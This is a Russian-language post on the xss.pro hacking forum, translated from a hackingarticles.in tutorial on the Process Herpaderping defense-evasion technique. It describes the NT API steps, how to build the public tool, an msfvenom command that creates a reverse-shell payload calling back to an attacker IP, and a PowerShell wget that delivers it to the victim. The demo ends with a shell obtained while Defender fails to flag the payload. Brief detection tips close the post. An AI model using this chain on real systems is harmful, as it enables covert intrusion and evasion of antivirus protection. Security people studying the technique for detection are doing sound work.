• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Процесс Герпадерпинг (Mitre:T1055)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Джонни Шоу (https://github.com/jxy-s/herpaderping) продемонстрировал технику уклонения от защиты, известную как герпадирование процессов, при которой злоумышленник может внедрить вредоносный код в отображаемый сегмент памяти законного процесса до того, как фактически начнется проверка созданного процесса. Это помогает злоумышленнику обойти защиту, а также повысить привилегии. Хотя MITRE не привязал суб-идентификатор к этой технике, мы сочли уместным написать статью о методах внедрения в процесс и защиты от уклонения.

ТАКТИКА MITRE: уклонение от защиты (TA0005) и повышение привилегий (TA0004)

Идентификатор метода MITRE: внедрение процесса (T1055
)

Описание


Обратный вызов Windows PsSetCreateProcessNotifyRoutineEx используется продуктами безопасности для выполнения действий, когда новый процесс отображается в памяти, и определяет, следует ли разрешить выполнение процесса (безопасен он или нет).

Однако фактическая проверка AV начинается только тогда, когда инициируется первый поток соответствующего процесса, а не когда создается объект процесса.

Это создает возможность для злоумышленника создать и отобразить процесс, затем изменить содержимое файла и после этого создать исходный поток.

Процесс Герпадерпинг

Herpaderping — это английский сленг, обозначающий человека, над которым часто смеются из-за его невнимательности. Джонни Шоу создал метод под названием Process Herpaderping, который используется для обхода антивирусных/защитных механизмов путем изменения содержимого файла после его отображения в памяти, но до того, как будет инициирован первый поток. AV не может определить, должно ли выполнение продолжаться или быть остановлено, так как файл, стоящий за процессом, теперь изменился. Оригинал описания, написанного очень ясно, можно найти здесь (https://jxy-s.github.io/herpaderping/).

Следующие шаги:

- Создайте целевой файл ( такой как cmd.exe) и оставьте дескриптор файла открытым.
- Отобразите файл как раздел образа
-NtCreateSection с установленным флагом SEC_IMAGE
- Создайте объект процесса, используя дескриптор раздела
- NtCreateProcessEx
- Скопируйте нашу полезную нагрузку, а затем, используя ранее открытый дескриптор файла, скройте полезную нагрузку на диске.
- Создать начальный поток в процессе
- NtCreateThreadEx

В этот момент сработает обратный вызов создания процесса (PsSetCreateProcessNotifyRoutineEx) в ядре, и содержимое на диске не будет соответствовать отображенному. Проверка файла на этом этапе приведет к неправильной атрибуции.

- Закройте дескриптор, чтобы выполнение могло начаться правильно
- IRP_MJ_CLEANUP

Поскольку содержимое того, что выполняется, скрыто, проверка на этом этапе приведет к неправильной атрибуции.

Демонстрация

Официальный исходный код можно скачать здесь (https://github.com/jxy-s/herpaderping). Все подмодули также должны быть включены, поэтому следуйте следующей процедуре, чтобы эффективно загрузить код с помощью git.

git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping
git submodule update --init --recursive

1653036505635.png


Теперь его можно скомпилировать для релиза с помощью Visual Studio (я использовал VS 2022). Я разветвил репо и загрузил скомпилированный двоичный файл для вашего удобства здесь (https://github.com/harshitrajpal/herpaderping_compiled). Теперь его можно запустить с помощью cmd, чтобы проверить, работает ли он.

1653036516838.png


Теперь нашу полезную нагрузку можно выполнить с помощью такой простой команды:

ProcessHerpaderping.exe payload_file target_file

Мы можем использовать и третий вариант, но не сейчас. Сначала создадим полезную нагрузку.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe

1653036548240.png


Теперь мы можем передать исполняемый файл и полезную нагрузку нашей жертве.

powershell wget 192.168.0.89/payload.exe -O payload.exe

1653036569953.png


Как только полезная нагрузка будет успешно передана, мы можем запустить исполняемый файл процесса Herpaderping, чтобы запустить нашу полезную нагрузку, скрытую под каким-либо другим законным исполняемым файлом, например notepad.exe.

ProcessHerpaderping.exe payload.exe notepad.exe

1653036590723.png


Как вы можете видеть, теперь мы должны были получить реверс шелл на порт 1234 (как предполагала наша полезная нагрузка). Это указывает на успешную обработку нашей полезной нагрузки в notepad.exe.

1653036601205.png


Кроме того, в системе-жертве можно еще раз подтвердить, что защитник активирован и не определил нашу полезную нагрузку как вредоносную при ее запуске!

1653036615697.png


После проверки этой атаки в обозревателе процессов в системе-жертве у вас должно возникнуть подозрение, если вы увидите подозрительные дочерние процессы, порождаемые из законных исполняемых файлов. Здесь cmd.exe порождается из notepad.exe, который не позволяет запускать исполняемые файлы, что указывает на атаку внедрения процесса!

1653036625868.png


Обнаружение

- Сигнатуры AV можно обновлять для обнаружения известных функций, таких как IRP_MJ_CLEANUP или NtCreateProcessEx, а затем проводить дальнейший анализ поведения, чтобы блокировать внедрение процессов во время выполнения.

- PsSetCreateThreadNotifyRoutineEx следует использовать вместо PsSetCreateProcessNotifyRoutineEx в качестве первого обратного вызова во время вставки потока, а не когда поток начинает выполняться.

- Пакет Sysmon от Sysinternal может обнаруживать вмешательство в процесс. Скачать здесь (https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) .

Вывод

В статье обсуждался метод уклонения от защиты под названием Process Herpaderping, который представляет собой метод сокрытия истинных намерений процесса путем изменения содержимого на диске после сопоставления образа, но до того, как он начнет выполняться. Это сбивает с толку продукты безопасности, такие как Defender, но тем не менее полезная нагрузка выполняется. Короткая демонстрация также была включена в качестве PoC. Надеюсь, вам понравилась статья. Спасибо за чтение.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/process-herpaderping-mitret1055/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх